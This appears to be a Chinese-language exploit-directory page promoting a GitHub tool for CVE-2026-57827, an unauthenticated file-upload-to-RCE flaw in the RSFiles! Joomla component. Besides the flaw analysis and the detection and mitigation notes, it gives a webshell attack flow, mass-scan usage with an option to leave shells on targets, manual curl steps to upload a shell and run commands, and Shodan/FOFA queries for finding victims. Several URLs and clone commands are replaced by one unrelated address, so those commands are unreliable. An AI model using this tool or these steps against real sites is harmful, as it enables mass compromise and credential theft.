Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-57827 — 通过任意文件上传演示 RSFiles! Joomla 组件中的未认证远程代码执行漏洞。 | Kitploit
工具/GitHubGitHub/candisexterior171/cve-2026-57827
侦察漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubcandisexterior171/cve-2026-57827

CVE-2026-57827

通过任意文件上传演示 RSFiles! Joomla 组件中的未认证远程代码执行漏洞。

查看仓库
3415天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-57827 — RSFiles! Joomla 组件未认证文件上传 RCE

拆分控制器上传绕过 → 直接写入任务 → /downloads/shell.php → RCE


概述

CVE-2026-57827 是 RSFiles!(com_rsfiles)中的一个严重级别(CVSS 9.8)未认证任意文件上传漏洞。RSFiles! 是 Joomla 中广泛使用的文件管理器和下载组件,受影响版本为 < 1.17.12。

该漏洞利用的是拆分控制器设计缺陷:RSFiles! 将其上传功能拆分为两个前端任务——预检(权限校验 + 扩展名允许列表)和写入方法(将文件保存到磁盘)。写入方法可以被直接调用,从而完全绕过预检。无需认证,也无需 CSRF 令牌。

受影响版本

版本状态
< 1.17.12存在漏洞
1.17.12+已修复

发现者: Phil Taylor,mySites.guru(2026 年 7 月 10 日) 厂商: RSJoomla(rsjoomla.com) 组件: com_rsfiles


漏洞机制

根本原因

RSFiles! 在 /components/com_rsfiles/controllers/rsfiles.php 中将上传功能拆分为两个独立的前端任务:

// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

为什么有效

  1. 控制器拆分 — 安全检查与文件写入位于两个不同的方法中。只有预检检查受到保护。
  2. 直接任务访问 — Joomla 的前端控制器允许通过 &task=rsfiles.upload 直接调用任意任务,从而完全跳过预检检查。
  3. 无身份验证 — 前端控制器没有访问检查。匿名访客即可调用写入任务。
  4. 无 CSRF 令牌 — 前端上传表单没有全站 CSRF 令牌。
  5. 无文件类型验证 — 写入方法从请求中读取文件名,并将其传递给 Joomla 内置的上传处理器(JFile::upload()),该处理器默认接受任意文件类型。
  6. Web 根目录下的下载文件夹 — RSFiles! 的默认下载文件夹位于 Web 根目录内。用于阻止该目录中 PHP 执行的保护性 .htaccess 是一项需主动启用的管理设置,且默认关闭。

攻击流程

1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

已验证的源代码引用

文件用途
/components/com_rsfiles/controllers/rsfiles.php包含存在漏洞的 upload() 和 checkupload() 任务的控制器
/components/com_rsfiles/views/upload/tmpl/upload.php前端上传表单模板(已确认:name="file"、task=rsfiles.upload)
/downloads/Web 根目录下的默认下载文件夹(默认关闭 .htaccess 保护)
/briefcase/Briefcase 文件夹(同样可写)

服务器日志检测(来自 RSJoomla 公告)

Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

关键设计缺陷

安全检查(权限门控 + 扩展名允许列表)与真正执行文件写入的方法是一个独立的预检步骤。只有第一个方法持有这些检查。第二个方法——即写入磁盘的那个——可以通过在 URL 中构造正确的 task 参数来被直接调用,从而绕过所有安全控制。

这是“检查与操作分离”反模式的典型示例:防护机制与其本应保护的操作被解耦,攻击者可以在不经过防护机制的情况下触达该操作。


安装

git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests

用法

# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

参数

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

概念验证

单一目标

$ python cve_2026_57827.py -t joomla-site.com
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://candisexterior171.github.io
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

手动利用

步骤 1 — 上传 shell

curl -X POST 'https://candisexterior171.github.io' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

步骤 2 — 访问 shell

curl 'https://candisexterior171.github.io'

步骤 3 — 执行命令

curl 'https://candisexterior171.github.io;hostname;uname -a'

缓解措施(如果无法更新)

# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

影响

成功利用可获得以 Web 服务器用户身份执行远程代码:

  • 提取 configuration.php → 数据库凭据、SMTP 密钥
  • 访问所有 Joomla 内容、用户和扩展数据
  • 部署持久化后门
  • 横向移动至内部网络
  • 篡改网站或注入恶意软件

任何步骤均无需站点账户。匿名、未经身份验证、远程。


修复方案(1.17.12)

RSJoomla 在 1.17.12 版本中通过以下方式修复了该漏洞:

  • 在写入方法本身添加权限检查(而不仅仅是预检)
  • 为写入方法添加文件类型验证
  • 在前端上传端点强制执行 CSRF 令牌
  • 使 downloads 文件夹中的 .htaccess 保护默认启用

免责声明

NUR FÜR BILDUNGS- UND AUTORISIERTE TESTZWECKE.

请勿在未经所有者明确许可的情况下对系统使用。作者对滥用不承担任何责任。


参考资料

资源链接
NVD 条目CVE-2026-57827
mySites.guru 公告mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
RSJoomla 公告rsjoomla.com
CWE-434危险类型文件的不受限上传
报告者Phil Taylor, mySites.guru

与 RSJoomla 或 mySites.guru 无关联。

下载工具